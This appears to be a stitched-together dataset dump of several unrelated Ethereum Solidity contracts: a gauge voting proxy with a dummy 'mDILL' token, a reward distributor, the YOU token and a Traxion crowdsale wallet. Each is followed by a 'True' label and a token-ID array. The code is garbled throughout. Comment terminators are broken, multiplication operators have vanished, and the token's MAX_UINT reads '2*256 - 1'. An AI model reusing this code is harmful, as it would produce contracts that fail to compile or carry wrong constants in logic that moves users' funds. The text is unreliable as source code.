block.timestamp.add(DURATION); emit RewardAdded(reward); } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; if (account != address(0)) { kick(account); } } event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); } interface MasterChef { function deposit(uint, uint) external; function withdraw(uint, uint) external; function userInfo(uint, address) external view returns (uint, uint); } contract ProtocolGovernance { /// @notice governance address for the governance contract address public governance; address public pendingGovernance; /* * @notice Allows governance to change governance (for future upgradability) * @param _governance new governance address to set / function setGovernance(address _governance) external { require(msg.sender == governance, "setGovernance: !gov"); pendingGovernance = _governance; } /* * @notice Allows pendingGovernance to accept their role as governance (protection pattern) / function acceptGovernance() external { require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov"); governance = pendingGovernance; } } contract MasterDill { using SafeMath for uint; /// @notice EIP-20 token name for this token string public constant name = "Master DILL"; /// @notice EIP-20 token symbol for this token string public constant symbol = "mDILL"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply = 1e18; mapping (address => mapping (address => uint)) internal allowances; mapping (address => uint) internal balances; /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint amount); constructor() public { balances[msg.sender] = 1e18; emit Transfer(address(0x0), msg.sender, 1e18); } /* * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved / function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /* * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded / function approve(address spender, uint amount) external returns (bool) { allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /* * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held / function balanceOf(address account) external view returns (uint) { return balances[account]; } /* * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded / function transfer(address dst, uint amount) external returns (bool) { _transferTokens(msg.sender, dst, amount); return true; } /* * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded / function transferFrom(address src, address dst, uint amount) external returns (bool) { address spender = msg.sender; uint spenderAllowance = allowances[src][spender]; if (spender != src && spenderAllowance != uint(-1)) { uint newAllowance = spenderAllowance.sub(amount, "transferFrom: exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint amount) internal { require(src != address(0), "_transferTokens: zero address"); require(dst != address(0), "_transferTokens: zero address"); balances[src] = balances[src].sub(amount, "_transferTokens: exceeds balance"); balances[dst] = balances[dst].add(amount, "_transferTokens: overflows"); emit Transfer(src, dst, amount); } } contract GaugeProxy is ProtocolGovernance { using SafeMath for uint256; using SafeERC20 for IERC20; MasterChef public constant MASTER = MasterChef(0xbD17B1ce622d73bD438b9E658acA5996dc394b0d); IERC20 public constant DILL = IERC20(0xbBCf169eE191A1Ba7371F30A1C344bFC498b29Cf); IERC20 public constant PICKLE = IERC20(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5); IERC20 public immutable TOKEN; uint public pid; uint public totalWeight; address[] internal _tokens; mapping(address => address) public gauges; // token => gauge mapping(address => uint) public weights; // token => weight mapping(address => mapping(address => uint)) public votes; // msg.sender => votes mapping(address => address[]) public tokenVote;// msg.sender => token mapping(address => uint) public usedWeights; // msg.sender => total voting weight of user function tokens() external view returns (address[] memory) { return _tokens; } function getGauge(address _token) external view returns (address) { return gauges[_token]; } constructor() public { TOKEN = IERC20(address(new MasterDill())); governance = msg.sender; } // Reset votes to 0 function reset() external { _reset(msg.sender); } // Reset votes to 0 function _reset(address _owner) internal { address[] storage _tokenVote = tokenVote[_owner]; uint256 _tokenVoteCnt = _tokenVote.length; for (uint i = 0; i < _tokenVoteCnt; i ++) { address _token = _tokenVote[i]; uint _votes = votes[_owner][_token]; if (_votes > 0) { totalWeight = totalWeight.sub(_votes); weights[_token] = weights[_token].sub(_votes); votes[_owner][_token] = 0; } } delete tokenVote[_owner]; } // Adjusts _owner's votes according to latest _owner's DILL balance function poke(address _owner) public { address[] memory _tokenVote = tokenVote[_owner]; uint256 _tokenCnt = _tokenVote.length; uint256[] memory _weights = new uint[](_tokenCnt); uint256 _prevUsedWeight = usedWeights[_owner]; uint256 _weight = DILL.balanceOf(_owner); for (uint256 i = 0; i < _tokenCnt; i ++) { uint256 _prevWeight = votes[_owner][_tokenVote[i]]; _weights[i] = _prevWeight.mul(_weight).div(_prevUsedWeight); } _vote(_owner, _tokenVote, _weights); } function _vote(address _owner, address[] memory _tokenVote, uint256[] memory _weights) internal { // _weights[i] = percentage 100 _reset(_owner); uint256 _tokenCnt = _tokenVote.length; uint256 _weight = DILL.balanceOf(_owner); uint256 _totalVoteWeight = 0; uint256 _usedWeight = 0; for (uint256 i = 0; i < _tokenCnt; i ++) { _totalVoteWeight = _totalVoteWeight.add(_weights[i]); } for (uint256 i = 0; i < _tokenCnt; i ++) { address _token = _tokenVote[i]; address _gauge = gauges[_token]; uint256 _tokenWeight = _weights[i].mul(_weight).div(_totalVoteWeight); if (_gauge != address(0x0)) { _usedWeight = _usedWeight.add(_tokenWeight); totalWeight = totalWeight.add(_tokenWeight); weights[_token] = weights[_token].add(_tokenWeight); tokenVote[_owner].push(_token); votes[_owner][_token] = _tokenWeight; } } usedWeights[_owner] = _usedWeight; } // Vote with DILL on a gauge function vote(address[] calldata _tokenVote, uint256[] calldata _weights) external { require(_tokenVote.length == _weights.length); _vote(msg.sender, _tokenVote, _weights); } // Add new token gauge function addGauge(address _token) external { require(msg.sender == governance, "!gov"); require(gauges[_token] == address(0x0), "exists"); gauges[_token] = address(new Gauge(_token)); _tokens.push(_token); } // Sets MasterChef PID function setPID(uint _pid) external { require(msg.sender == governance, "!gov"); require(pid == 0, "pid has already been set"); require(_pid > 0, "invalid pid"); pid = _pid; } // Deposits mDILL into MasterChef function deposit() public { require(pid > 0, "pid not initialized"); IERC20 _token = TOKEN; uint _balance = _token.balanceOf(address(this)); _token.safeApprove(address(MASTER), 0); _token.safeApprove(address(MASTER), _balance); MASTER.deposit(pid, _balance); } // Fetches Pickle function collect() public { (uint _locked,) = MASTER.userInfo(pid, address(this)); MASTER.withdraw(pid, _locked); deposit(); } function length() external view returns (uint) { return _tokens.length; } function distribute() external { collect(); uint _balance = PICKLE.balanceOf(address(this)); if (_balance > 0 && totalWeight > 0) { for (uint i = 0; i < _tokens.length; i++) { address _token = _tokens[i]; address _gauge = gauges[_token]; uint _reward = _balance.mul(weights[_token]).div(totalWeight); if (_reward > 0) { PICKLE.safeApprove(_gauge, 0); PICKLE.safeApprove(_gauge, _reward); Gauge(_gauge).notifyRewardAmount(_reward); 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/** Submitted for verification at Etherscan.io on 2021-08-28 / pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IRewardsDistributionRecipient { function notifyRewardAmount(address _rewardToken, uint256 reward) external; } // A simple reward distributor that takes any ERC20 token, and allows anyone to send/notify reward to IRewardsDistributionRecipient based on governance permission. contract RewardDistributorPermissioned { using SafeERC20 for IERC20; using SafeMath for uint; / ========== STATE VARIABLES ========== / address public governance; mapping(address => bool) public distributableTokens; address[] public recipients; uint256[] public percentages; / ========== CONSTRUCTOR ========== / constructor() public { governance = msg.sender; } / ========== RESTRICTED FUNCTIONS ========== / function setGovernance(address _governance) external onlyGov { governance = _governance; } function allowDistribution(address _token) external onlyGov { distributableTokens[_token] = true; } function disableDistribution(address _token) external onlyGov { distributableTokens[_token] = false; } // Must set recipient and percentages in single tx to avoid discrepency of length function setAllocations( address[] calldata _recipients, uint256[] calldata _percentages ) external onlyGov { require(_recipients.length == _percentages.length, "length does not match"); uint total = 0; for (uint i=0; i<_percentages.length; i++) { total = total + _percentages[i]; } require(total == 100, "total percentage is not 100"); recipients = _recipients; percentages = _percentages; } // Allow governance to rescue rewards function rescue(address _rewardToken) external onlyGov { uint _balance = IERC20(_rewardToken).balanceOf(address(this)); IERC20(_rewardToken).safeTransfer(governance, _balance); } / ========== MUTATIVE FUNCTIONS ========== / function distributeRewards( IERC20 _token ) external { require(distributableTokens[address(_token)] == true, "Not allowed to distribute this token"); uint total = _token.balanceOf(address(this)); if (total == 0) { return; } for(uint i = 0; i < recipients.length; i++){ uint256 amount = total.mul(percentages[i]).div(100); address recipient = recipients[i]; // Send the RewardToken to recipient _token.safeTransfer(recipient, amount); // Only after successfull tx - notify the contract of the new funds IRewardsDistributionRecipient(recipient).notifyRewardAmount(address(_token), amount); emit DistributedReward(recipient, address(_token), amount); } } / ========== MODIFIERS ========== / modifier onlyGov() { require(msg.sender == governance, "!governance"); _; } / ========== EVENTS ========== */ event DistributedReward(address recipient, address rewardToken, uint256 amount); }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5511, 1011, 2654, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 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/** Submitted for verification at Etherscan.io on 2021-04-27 / /** Submitted for verification at Etherscan.io on 2020-02-27 / pragma solidity 0.4.19; contract RegularToken{ function transfer(address _to, uint _value) public returns (bool) { //Default assumes totalSupply can't be over max (2^256 - 1). if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { revert(); } } function transferFrom(address _from, address _to, uint _value) public returns (bool) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { revert(); } } function balanceOf(address _owner) constant public returns (uint) { return balances[_owner]; } function approve(address _spender, uint _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint) { return allowed[_owner][_spender]; } mapping (address => uint) balances; mapping (address => mapping (address => uint)) allowed; uint public totalSupply; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract UnboundedRegularToken is RegularToken { uint constant MAX_UINT = 2*256 - 1; /// @dev ERC20 transferFrom, modified such that an allowance of MAX_UINT represents an unlimited amount. /// @param _from Address to transfer from. /// @param _to Address to transfer to. /// @param _value Amount to transfer. /// @return Success of transfer. function transferFrom(address _from, address _to, uint _value) public returns (bool) { uint allowance = allowed[_from][msg.sender]; if (balances[_from] >= _value && allowance >= _value && balances[_to] + _value >= balances[_to] ) { balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } else { revert(); } } } contract YOUToken is UnboundedRegularToken { uint8 constant public decimals = 18; string constant public name = "YOU"; string constant public symbol = "YOU"; function YOUToken() public { totalSupply = 1000000000 10 ** uint256(decimals); balances[msg.sender] = totalSupply; Transfer(address(0), msg.sender, totalSupply); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5840, 1011, 2676, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 6185, 1011, 2676, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2539, 1025, 3206, 3180, 18715, 2368, 1063, 3853, 4651, 1006, 4769, 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pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { /* * @dev Multiplies two numbers, throws on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /* * @dev Adds two numbers, throws on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /* * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". / contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / constructor() public { owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract TraxionWallet is Ownable { using SafeMath for uint256; // Address where funds are collectedt address public wallet = 0x6163286bA933d8a007c02DB6b0fd5A08629d23f8; // How many token units a buyer gets per wei uint256 public rate = 1000; // Minimum investment in wei (0.40 ETH) uint256 public minInvestment = 4E17; // Invesstment upper bound per investor in wei (2,000 ETH) uint256 public investmentUpperBounds = 2E21; // Hard cap in wei (100,000 ETH) uint256 public hardcap = 1E23; // Amount of wei raised uint256 public weiRaised; event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /* * @dev fallback function *DO NOT OVERRIDE* / function () external payable { buyTokens(msg.sender); } /* Whitelist an address and set max investment / mapping (address => bool) public whitelistedAddr; mapping (address => uint256) public totalInvestment; / @dev whitelist an Address / function whitelistAddress(address[] buyer) external onlyOwner { for (uint i = 0; i < buyer.length; i++) { whitelistedAddr[buyer[i]] = true; } } /* @dev black list an address / function blacklistAddr(address[] buyer) external onlyOwner { for (uint i = 0; i < buyer.length; i++) { whitelistedAddr[buyer[i]] = false; } } / * @dev low level token purchase *DO NOT OVERRIDE* * @param _beneficiary Address performing the token purchase / function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); emit TokenPurchase(msg.sender, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /* * @dev Validation of an incoming purchase. Use require statemens to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase / function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view { require(_beneficiary != address(0)); require(_weiAmount != 0); require(_weiAmount > minInvestment); // Revert if payment is less than 0.40 ETH require(whitelistedAddr[_beneficiary]); // Revert if investor is not whitelisted require(totalInvestment[_beneficiary].add(_weiAmount) <= investmentUpperBounds); // Revert if the investor already spent over 2k ETH investment or payment is greater than 2k ETH require(weiRaised.add(_weiAmount) <= hardcap); // Revert if ICO campaign reached Hard Cap } /* * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase / function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { totalInvestment[_beneficiary] = totalInvestment[_beneficiary].add(_weiAmount); } /* * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount / function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /* * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } //Github: @AlvinVeroy	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 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// SPDX-License-Identifier: MIT /* ____ ____ ______ _____ / __ \/ __ \/_ __/ / __(_)___ ____ _____ ________ / /_/ / / / / / / / /_/ / __ \/ __ `/ __ \/ ___/ _ \ / ____/ /_/ / / / / __/ / / / / /_/ / / / / /__/ __/ /_/ \____/ /_/ /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ * POT.Finance: HotpotBaseToken.sol * The POT token, an ERC-20 token with owner-only mint function * / // File: node_modules\@openzeppelin\contracts\GSN\Context.sol pragma solidity ^0.6.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function 